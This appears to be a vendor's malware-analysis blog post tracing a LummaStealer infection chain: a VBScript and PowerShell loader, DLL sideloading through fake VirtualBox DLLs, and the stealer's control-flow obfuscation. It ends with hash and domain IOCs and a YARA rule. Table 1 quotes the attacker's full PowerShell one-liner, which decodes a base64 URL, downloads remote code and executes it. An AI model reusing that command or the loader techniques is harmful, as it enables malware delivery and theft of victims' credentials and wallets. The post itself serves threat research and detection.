12 min read

LummaStealer: More Tricks, More Trouble - Part 2

LummaStealer: More Tricks, More Trouble - Part 2

Executive Summary

In February 2025, the RevEngAI team observed an ongoing LummaStealer campaign that employed a distinct approach compared to the ClickFix method detailed in the previous instalment of this series. In this report, we take a closer look at this campaign and examine how the RevEng.AI platform successfully identified and facilitated the analysis of the associated samples.

As described in our previous analysis, LummaStealer (aka LummaC2 or LummaC2 Stealer) is a malware variant designed to extract sensitive data, such as passwords and cryptocurrency wallets, from compromised systems. First identified in 2022, it is widely believed to be a fork of MarsStealer and is predominantly distributed via phishing campaigns.

The observed Tactics, Techniques, and Procedures (TTPs) align with previous research on ClickFix; however, at the time of writing, RevEng.AI cannot confirm whether this campaign is directly linked to ClickFix. Although the stages covered in this report do not explicitly reference social engineering tactics, such methods are commonly used to spread LummaStealer. This post will break down the infection chain step by step, focusing on a more autonomous approach where scripts directly download and execute binaries on victim machines while attempting to mimic and hijack well-known DLLs.


Running Among the Scripts

The First Script

At the start of the infection chain, the use of outdated Visual Basic Script [1] sets the tone. Although modern web browsers no longer support VBScript, its execution is enabled by an earlier step that leverages MSHTA to validate and activate the script. By employing this technique, the attacker aims to bypass security measures designed to block certain types of content. In Figure 1, we have the Visual Basic Script content.

Figure 1: First Script that will load LummaStealer chain.

The script’s objective is clear: it loads and executes a Microsoft Windows PowerShell [2] command designed to access another endpoint. This endpoint is encoded in base64 within the command, and decoding it reveals an additional path on the same domain.

EXECUTION TYPE COMMAND DECODED CONTENT
PowerShell powershell -NoProfile -ExecutionPolicy Bypass -Command ""& {$U=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9ndWFpY3VpLmNvbS5ici93cC1jb250ZW50L3BsdWdpbnMvZ29vZGxheWVycy1jb3JlLXBvcnRmb2xpby9sYW5ndWFnZXMvZXMudHh0'));$C=(Invoke-WebRequest -Uri $U -UseBasicParsing).Content;$B=[scriptblock]::Create($C);&$B}"" https[:]//guaicui.com[.]br/wp-content/plugins/goodlayers-core-portfolio/languages/es[.]txt

Table 1: PowerShell Command content.

The Second Script

In the next stage of the chain, the script loaded and executed by the previous step is clearly another PowerShell script (Figure 2). It’s objective is to download content from https[:]//guiacui.com[.]br/wp-content-plugins/goodlayers-core-portfolio/languages/es[.]txt. This downloaded content will later be unzipped, and one of the files will be executed.

Figure 2: Loaded PowerShell Script.

This ZIP file, with a size of 8378189 bytes (7.99 MB) and bearing the SHA-256 hash 9077ef03723211f1f5cb3f26bc292f162d5de9900778042db47d74e437216142, is downloaded with a random name to the system's temporary files directory (%TEMP%) and then unzipped into a folder named LocalApplicationDevelopment, also within the temp directory - rendering a path of %TEMP%\LocalApplicationDevelopment. Two details are noteworthy: the presence of a single executable file, Update.exe, and the inclusion of DLLs with suggestive names: VBoxRT.dll and VBoxVMM.dll.

Table 2 provides a list of files associated with the infection chain. In addition to these files, the following DLLs were also present: libcrypto-1_1-x64.dll, msvcr100.dll, msvcr120.dll, libcurl.dll, msvcp120.dll, msvcp100.dll, and libssl-1_1-x64.dll. These files were signed by the same company as Update.exe (Shanghai Chang Zhi Network Technology Co., Ltd.) using certificates issued by DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 or Symantec Class 3 Extended Validation Code Signing CA - G2.

Additionally, the package included legitimate Microsoft-signed files, such as: msvcp140.dll, concrt140.dll, api-ms-win-crt-conio-l1-1-0.dll, api-ms-win-crt-process-l1-1-0.dll, api-ms-win-crt-math-l1-1-0.dll, and ucrtbase.dll. These are likely included to avoid dependency issues for the Update.exe executable, in Table 2.

FILE NAME SIZE SHA-256 Certificate
VBoxVMM.dll 5500928 bytes (5.25 MB) 2eac54ed7103a71a0912d625eef1735b9e1c73ee801175618db72a5544c10beb -
Update.exe 32584 bytes (31.82 KB) acfb96912aa38a28faa4c5acbcc976fb3233510126aa40080251db8a8eebafb4 Issued to Shanghai Chang Zhi Network Technology Co,. Ltd.
Issued by DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1.
VBoxRT.dll 4041544 bytes (3.85 MB) e500d1f6943149a847558aceb6a06e323875e2b3da6b00233a764d80d46eeb0d Issued to Shanghai Chang Zhi Network Technology Co,. Ltd.
Issued by DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1.

Table 2: List of files inside the downloaded ZIP file.

As indicated in the final line of the script, the executable file is subsequently run. Notably, these DLL names are familiar to VirtualBox users; they are responsible for Real-Time execution and Virtual Machine Monitoring.


The First Binary - Update.exe

The Update.exe file [3] is 32584 bytes (31.82 KB) in size and has a SHA-256 hash of acfb96912aa38a28faa4c5acbcc976fb3233510126aa40080251db8a8eebafb4. Although it is a signed binary—which generally helps to draw less attention and is more likely to evade security solutions—the signature is attributed to Shanghai Chang Zhi Network Technology Co,. Ltd., raising concerns that it might be a likely stolen signature and compromising its authenticity.

Additionally, the main entry point, identified as TrustedMain (at 0x140001480), begins by calling exported functions from DLLs included in the file, specifically VBoxRT.dll and VBoxVMM.dll, which are present in the Import Address Table (IAT). This fixed reference to the DLLs makes the binary likely vulnerable to DLL hijacking, where malicious actors could potentially replace these DLLs to manipulate the program's behaviour and compromise system security.

Figure 3: Information about Update.exe in RevEng.AI portal.

As illustrated in Figure 4, the main function begins by calling the exported functions from VBoxRT.dll, namely, RTR3InitExe, RTPrintf, and RTFlush. When debugging Update.exe, these functions appear to execute normally, and the DLL seems to handle the calls correctly. However, the behaviour changes when it comes to VBoxVMM.dll's VMR3Create function; attempting to step over this call results in an abrupt end of the process.

Figure 4: Start of the content in Update.exe TrustedMain function.

A Deeper look in VBoxVMM.dll VMR3Create

Figure 5: Content of VMR3Create function.

VBoxVMM.dll is a 5500928 bytes (5.25 MB) file with a SHA-256 hash of 2eac54ed7103a71a0912d625eef1735b9e1c73ee801175618db72a5544c10beb. Examining the VMR3Create function reveals three primary calls. A closer look shows that the first function, located at 0x18026e360, performs a critical operation by modifying the content of another function later invoked at 0x180165c60 (see Figures 6 and 7). For the rest of this post 0x180165c60 will be referenced as Updated Function and 0x18026e360 as Updater Function. This dynamic alteration of function code during execution hinders disassembly tools and analysts from accurately capturing the true behaviour of the code.

Figure 6: Content of Updated Function before modification by Updater Function.
Figure 7: Content of Updated Function after modification by Updater Function.

Moving to the next instruction at 0x180154ce0, it can be observed that a substantial block of code that also utilises the Updated Function. This  step is critical, as it processes and prepares the next stage of the chain. Figure 8 illustrates the sequence of operations performed by the binary - from the initial call in the Updated Function all the way to the routines that successfully load the next stage.

Figure 8: Flow of functions called manipulating LummaStealer's file content.

In particular, the function at 0x18014e2c0 allocates a large block of memory in 0x1835a8158 (as shown in Figures 9 and 10), loads a file into that space (see Figure 11), and subsequently copies this content for later use within the remainder of the VMR3Create function.

Figure 9: Searching for 0x1835a8158 before calling 0x18014e2c0.
Figure 10: Searching for 0x1835a8158 after calling 0x18014e2c0.

The file loaded into memory is a sample of LummaStealer that will be examined in detail shortly, and it can be dumped directly from the process memory. It is important to note that, although the file is loaded into memory, its actual size does not correspond to the value specified in the SizeOfImage field, which is set to 0x5F000 bytes.

Figure 11: Content of the LummaStealer file.

When comparing the available bytes between the memory regions where the file begins (from 0x1835A8158 to 0x183554119), we actually observe fewer bytes than the reported SizeOfImage. This discrepancy suggests that SizeOfImage may not accurately reflect the contiguous memory allocation for the file in this instance. However, by summing the SizeOfHeaders and SizeOfRawData, we obtain a total of 0x54000 bytes, which accurately represents the file's content, that’s a common behaviour and can be solved with that approach. After determining this size, the full content was successfully dumped from memory.


LummaStealer Binary

Upon execution of the LummaStealer binary, a message box is displayed asking the user whether they want to run the malware. This prompt appears to act as a safeguard, ensuring that affiliates of LummaStealer do not inadvertently distribute builds that have not been properly encrypted. Unencrypted builds could lead to increased detections by antivirus vendors, as the code would be more vulnerable to analysis and signature-based detection (Figure 12).

Figure 12: Known LummaStealer Warning Message Box.

Anti-Analysis Techniques

Examining the dumped binary reveals a LummaStealer sample [5] with a SHA-256 hash of 366bd0e69838b03d40352962e46e8b2eedf5f467d01a0a9f073056dc51a5b3e0. The primary challenge for analysts working with this binary is the obfuscated control flow implemented during its compilation process.

Figure 13: Example of control flow in function 0x445430.

When you load the binary into a disassembler or debugger, you'll notice that the function endings do not align with the expected addresses indicated by the disassembly. This behaviour disrupts IDA and other disassemblers because they cannot accurately determine the next execution flow. Instead, the actual control flow is resolved dynamically at runtime, requiring execution to retrieve the correct instruction paths. This discrepancy is due to the obfuscated control flow implemented in LummaStealer samples, which employs a unique technique that greatly complicates analysis.

By utilising dispatcher blocks (Figure 14 shows a simple example of one of the patterns), the true control flow is often concealed behind jumps that static analysis alone cannot reliably resolve. Figure 15 provides a YARA rule designed to detect LummaStealer’s control-flow obfuscation dispatchers, which employ some distinct patterns.

Figure 14: One of the patterns used for LummaStealer’s dispatcher blocks.

Figure 15 provides a YARA rule designed to detect LummaStealer’s control-flow obfuscation dispatchers, which employ some distinct patterns - this can also be found in the YARA Rules section.

Figure 15: YARA Rule to detect dispatchers.

To facilitate the reverse engineering process, symbolic backward slicing [6] can be applied to identify the operations critical to these jumps, enabling analysts to patch them and better visualise the application's workflow.

This stage also employs anti-symbolic execution techniques, incorporating loops that can become infinite without proper handling. We mitigated this technique by ensuring that operations capable of causing an infinite loop were executed only once.

Another important technique used by this sample is Heaven's Gate, which allows a 32-bit process to execute 64-bit code on 64-bit Windows systems by switching modes. This mode transition bypasses WOW64 limitations, granting the malware access to 64-bit APIs while further obfuscating its control flow and complicating analysis.

Figure 16: Few steps of some functions in LummaStealer sample.

Network Traffic

This sample also exhibits the expected behaviour of LummaStealer by attempting to connect to well-known Command and Control servers (Figure 17). It will use these servers to maintain communication, execute further stages of the attack, and exfiltrate sensitive data from infected victims.

Figure 17: DNS queries done by the sample, likely to C2s.

Find and Track

The RevEng.AI platform simplifies tracking and identifying similar samples by allowing users to compare functions within a given sample. By analysing both strong and weak matches, researchers can identify new variations or directly compare different samples, aiding in malware tracking and research.

Examining the functions in the analysed sample (Figure 16), we find that the function responsible for retrieving module pointers (0x447570) closely matches a previously identified LummaStealer sample [7] (SHA-256: 1cf75f97e3bb843054d7a338289fcd892ca800cf2781999501491b33c25681d9). The RevEng.AI platform detects a function at 0x46560 in this older sample with a 90.42% confidence match for the given function.

Figure 17: Platform overview of functions that should match with retrieving module pointers function (0x47570).

A closer inspection of this function reveals a call to 0x46520, which, as shown in Figure 19, serves the same purpose as the previously identified “get PEB” function (0x447520 in Figure 16). Malware samples likely employ different approaches to achieve the same goal, and the platform can help you keep track of even larger changes.

Figure 18: Left - Get PEB function (0x47520), Right - Function 0x46520 also reaching the same goal.

Returning to the module pointer retrieval function (0x447570), the RevEng.AI platform also highlights additional dispatches within the matched function (Figure 19). This could likely indicate additional features embedded within the same code block, warranting further investigation.

Figure 19: Left - module pointer retrieval function (0x447570), Right - Function 0x46560, showing a larger and with more dispatchers block of code.

Conclusion

In summary, this analysis breaks down each stage of the infection chain, from the initial script execution to the final payload deployment. While some stages employ obfuscation techniques, such as dispatcher blocks, anti-symbolic execution, and Heaven’s Gate, others are more direct, allowing for step-by-step deconstruction.

By systematically analysing function modifications, memory allocations, and command execution flows, we can reconstruct the malware’s behaviour, identify its C2 communication patterns, and understand its data exfiltration mechanisms. This structured approach is crucial for uncovering LummaStealer’s tactics, techniques, and procedures and ensuring a deeper understanding of its behaviour.


Host IOCs

SHA-256 Description
ff579d9041fa26040df049b214ad3385af4e63d7c9137b698b3e6c3f7090cc81 Content of the file in Stage 1 (Loaded VBScript)., represented by its SHA-256 hash.
6e84d802ef95f170d0ee33fe40b5eb4bc0e1fa8c664fd45eb1dfa0dfda5504e4 Content of the file in Stage 2 (Loaded PowerShell Script).
9077ef03723211f1f5cb3f26bc292f162d5de9900778042db47d74e437216142 Content of the ZIP file.
acfb96912aa38a28faa4c5acbcc976fb3233510126aa40080251db8a8eebafb4 Content of the Update.exe file.
e500d1f6943149a847558aceb6a06e323875e2b3da6b00233a764d80d46eeb0d Content of the VBoxRT.dll file.
2eac54ed7103a71a0912d625eef1735b9e1c73ee801175618db72a5544c10beb Content of the VBoxVMM.dll file.
366bd0e69838b03d40352962e46e8b2eedf5f467d01a0a9f073056dc51a5b3e0 Content of the LummaStealer file.

Table 2: Host Indicators of Compromise.


Network IOCs

IOC Description
guiacui.com[.]br Domain hosting content of the LummaStealer chain.
guiacui.com[.]br/wp-content/plugins/goodlayers-core-portfolio/layer[.]html Path to 1st stage content.
guaicui.com[.]br/wp-content/plugins/goodlayers-core-portfolio/languages/es[.]txt Path to 2nd stage content.
minlliving[.]biz Likely LummaStealer C2 domain.
guardeduppe[.]com Likely LummaStealer C2 domain.
toppyneedus[.]biz Likely LummaStealer C2 domain.
flockefaccek[.]org Likely LummaStealer C2 domain.
babberstalek[.]org Likely LummaStealer C2 domain.
classyhelped[.]net Likely LummaStealer C2 domain.
carrystuppeder[.]net Likely LummaStealer C2 domain.
rebuildhurrte[.]com Likely LummaStealer C2 domain.
climepunneddus[.]com Likely LummaStealer C2 domain.
bloodyswif[.]lat Likely LummaStealer C2 domain.
woebengeosziz[.]click Likely LummaStealer C2 domain.
washyceehsu[.]lat Likely LummaStealer C2 domain.
leggelatez[.]lat Likely LummaStealer C2 domain.
miniatureyu[.]lat Likely LummaStealer C2 domain.
kickykiduz[.]lat Likely LummaStealer C2 domain.
savorraiykj[.]lat Likely LummaStealer C2 domain.
finickypwk[.]lat Likely LummaStealer C2 domain.

Table 3: Network IOCs Table.


YARA Rules

rule RevEng_LummaStealer_Dispatchers_Feb25
{
  meta:
    	author = "anisio@reveng.ai"
    	source = "RevEng"  
    	description = "Identifies LummaStealer by Dispatcher Patterns"  
    	version = "1.0"  

    	category = "MALWARE"  
    	malware = "LUMMA"  

  strings:
      $ = { A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 01 C8 40 FF E0 }
      $ = { 0F B6 C0 8B 04 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 01 C8 40 FF E0 }
      $ = { A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 CA 81 CA ?? ?? ?? ?? 81 F1 ?? ?? ?? ?? 21 D1 8D 34 09 F7 D6 01 CE 21 D6 01 F0 40 31 DB FF E0 }
      $ = { 31 C9 85 C0 0F 95 C1 8B 04 8D ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 01 C8 40 FF E0 }

  condition:
      2 of them
}

Footnotes

[1] MITRE, Command and Scripting Interpreter: Visual Basic - https://attack.mitre.org/techniques/T1059/005/

[2] MITRE, Command and Scripting Interpreter: PowerShell - https://attack.mitre.org/techniques/T1059/001/

[3] RevEng.AI Platform, Update.exe File - https://portal.reveng.ai/analyses/162379

[4] RevEng.AI Platform, VBoxVMM.dll File - https://portal.reveng.ai/analyses/162832

[5] RevEng.AI Platform, LummaStealer File - https://portal.reveng.ai/analyses/162994

[6] Mandiant, LummaC2: Obfuscation Through Indirect Control Flow - https://cloud.google.com/blog/topics/threat-intelligence/lummac2-obfuscation-through-indirect-control-flow

[7] RevEng.AI Platform, Similar LummaStealer File https://portal.reveng.ai/analyses/174808